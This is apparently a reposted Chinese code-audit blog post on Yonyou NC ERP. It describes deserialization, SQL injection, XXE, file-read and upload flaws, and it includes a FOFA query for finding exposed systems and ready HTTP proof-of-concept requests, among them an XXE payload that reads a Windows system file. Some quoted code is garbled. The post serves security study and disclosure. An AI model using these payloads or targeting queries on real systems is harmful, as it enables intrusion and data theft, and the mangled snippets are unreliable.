文章总结: 本文对用友NC企业级ERP软件进行了代码审计分析,详细介绍了UserQueryServiceServlet反序列化漏洞、多个SQL注入漏洞、XXE漏洞、任意文件读取漏洞和文件上传漏洞的原理与利用方法。文章提供了具体的代码片段和漏洞利用示例,展示了这些漏洞的危害性,并强调了安全研究应遵守法律法规。
综合评分: 89
文章分类: 代码审计,漏洞分析,WEB安全,应用安全
用友NC代码审计分析
原创
1
韭要学JAVA安全
2025年11月27日 19:39
河南
前言
用友NC是一款企业级ERP软件。作为一种信息化管理工具,用友NC提供了一系列业务管理模块,包括财务会计、采购管理、销售管理、物料管理、生产计划和人力资源管理等,帮助企业实现数字化转型和高效管理。
FOFA语法:title==”YONYOU NC” 安装包末尾见
1.UserQueryServiceServlet反序列化漏洞
find . -name "*.jar" -exec sh -c 'unzip -l {} | grep -qi "InvokerServlet" && echo {}' \; > 匹配的JAR包.txt
可通过上述命令检索目标方法名以定位关联 JAR 包,在 IntelliJ IDEA 中解压该 JAR 包后,即可搜索UserQueryServiceServlet类文件。这套系统也是很老很老了 反序列化漏洞满天飞
查看web.xml文件
/uapim/lib/pubuapim_impluginLevel1/nc/bs/pub/im/UserQueryServiceServlet.class
漏洞关键代码(UserQueryServiceServlet)
ObjectInputStream in = new ObjectInputStream(request.getInputStream());HashMap<Object, Object> params = (HashMap();
直接用 ObjectInputStream 读取请求体数据并反序列化
-
请求流转链路
客户端 →
InvokerServlet(/service/*或/servlet/*)→ 动态查找UserQueryServiceServlet→ 执行UserQueryServiceServlet.doPost()→ 处理反序列化。 -
UserQueryServiceServlet 类明确继承了 javax.servlet.HttpServlet
路由核心规则:请求前缀 + /~模块名/服务类完整路径
- 请求前缀:
/servlet/(Web.xml 配置的映射路径,数据包中已包含); ~/uapim(固定标识~/+ 目标模块名uapim,);- 服务类完整路径:
nc.bs.pub.im.UserQueryServiceServlet(目标 Servlet 的包名 + 类名,紧跟模块名后)。 - 识别
/~为模块前缀
payload
POST /servlet/~uapim/nc.bs.pub.im.UserQueryServiceServlet HTTP/1.1Host: Accept-Encoding: gzipUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2.sql注入漏洞
nc.bs.oa.oaco.scheduler.action.SchedulerEventsAction.java
存在较多的sql注入漏洞
/oacoSchedulerEvents?initialOption
/oacoSchedulerEvents?listProxy
/oacoSchedulerEvents?isAgentLimit
/oacoSchedulerEvents?updateSelectedSharingUser
/oacoSchedulerEvents?updateSharedEventColor
/oacoSchedulerEvents?listUserSharingEvents
以上通过直接拼接造成的sql注入这里就拿isAgentLimit方法举例子
方法中核心参数 pk_flowagent和pk_byagent 直接从 HTTP 请求获取:
String pk_flowagent = this.getRequest().getParameter("pk_flowagent");String pk_flowagent = this.getRequest().getParameter("pk_byagent");
方法通过 StringBuilder 直接拼接参数到 SQL 条件中,形成完整的查询条件字符串:
sql.append("pk_agent='").append(pk_flowagent).append("' and pk_user='").append(pk_byagent).append("'").append(" and useflag='Y' ");
拼接后的 SQL 语句通过 agentQry.getAgentVOsByCondition(sql.toString()) 执行
/oacoSchedulerEvents?deleteEvent
/oacoSchedulerEvents?changeEvent
/oacoSchedulerEvents?uncancelEvent
通过调用链路间接触发 judgeCompatibleEvent 方法的 SQL 注入漏洞
uncancelEvent() → cancelEventOperate("1") → 构造 JudgedEvent 对象 → judgeCompatibleEvent(judgerEvent) → 拼接 SQL 触发注入
-
judgeCompatibleEvent方法
String sql = "pid_event='" + pid_event + "' and eventlength=" + eventLength;SchedulerEventVO[] children = schedulerQueryService.getSchedulerEvents(sql, param, true);
直接将用户可控的 pid_event(字符串类型)和 eventLength(由 startDateOldDt 计算得出,数字类型)拼接至 SQL 语句
3.xxe漏洞
直接接收用户可控的 msg 参数 然后通过 XMLFormater.format(msg) 进行 XML 解析
前端要访问 SoapFormatAction 这个类的功能,就得用 /soapFormat.ajax 这个地址;.ajax 后缀是配置文件直接指定的,而且刚好和 AjaxAction 基类的异步响应规则对上了,访问这个地址就会触发对应的处理逻辑。
漏洞POC:
POST /uapws/soapFormat.ajax HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 366Connection: closeUpgrade-Insecure-Requests: 1msg=%3C%21DOCTYPE+foo%5B%3C%21ENTITY+xxe1two+SYSTEM+%22file%3A%2F%2F%2FC%3A%2F%2Fwindows%2Fwin.ini%22%3E+%5D%3E%3Csoap%3AEnvelope+xmlns%3Asoap%3D%22http%3A%2F%2Fschemas.xmlsoap.org%2Fsoap%2Fenvelope%2F%22%3E%3Csoap%3ABody%3E%3Csoap%3AFault%3E%3Cfaultcode%3Esoap%3AServer%26xxe1two%3B%3C%2Ffaultcode%3E%3C%2Fsoap%3AFault%3E%3C%2Fsoap%3ABody%3E%3C%2Fsoap%3AEnvelope%3E
4.任意文件读取漏洞
DocHelper工具类
可以看到 获取 ws 参数,直接带入 loadDoc 方法
loadDoc.ajax 接口→ LoadDocAction 接收 ws 并传给 DocHelper.loadDoc()
5.文件上传漏洞
String name = ((MultipartFile)files.get(0)).getOriginalFilename(); File xsnFile = new File(name); File xsnFile = new File(name);
获取上传文件的原始文件名,直接用原始文件名创建文件,默认写入当前目录
公众号回复NC65获取安装包
asd
最后总结
本文中所有代码分析、漏洞原理讲解及复现示例,仅用于网络安全学习与技术交流,旨在帮助安全从业者、开发人员理解漏洞产生的根源,提升系统安全防护能力。
网络安全是每个公民的责任,任何未授权的攻击行为均违反《中华人民共和国网络安全法》《中华人民共和国刑法》等相关法律法规,可能导致严重的法律责任与经济损失。
请严格遵守以下约定:
- 所有测试操作仅在自己拥有合法授权的环境中进行,不得对任何第三方系统、设备或网络发起攻击;
- 不得利用本文讲解的漏洞技术窃取数据、破坏系统、谋取非法利益或从事其他危害网络安全的行为;
- 若发现第三方系统存在相关漏洞,请通过合法渠道向相关责任方披露,协助其进行修复,共同维护网络空间的安全与稳定。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:韭要学JAVA安全 1《用友NC代码审计分析》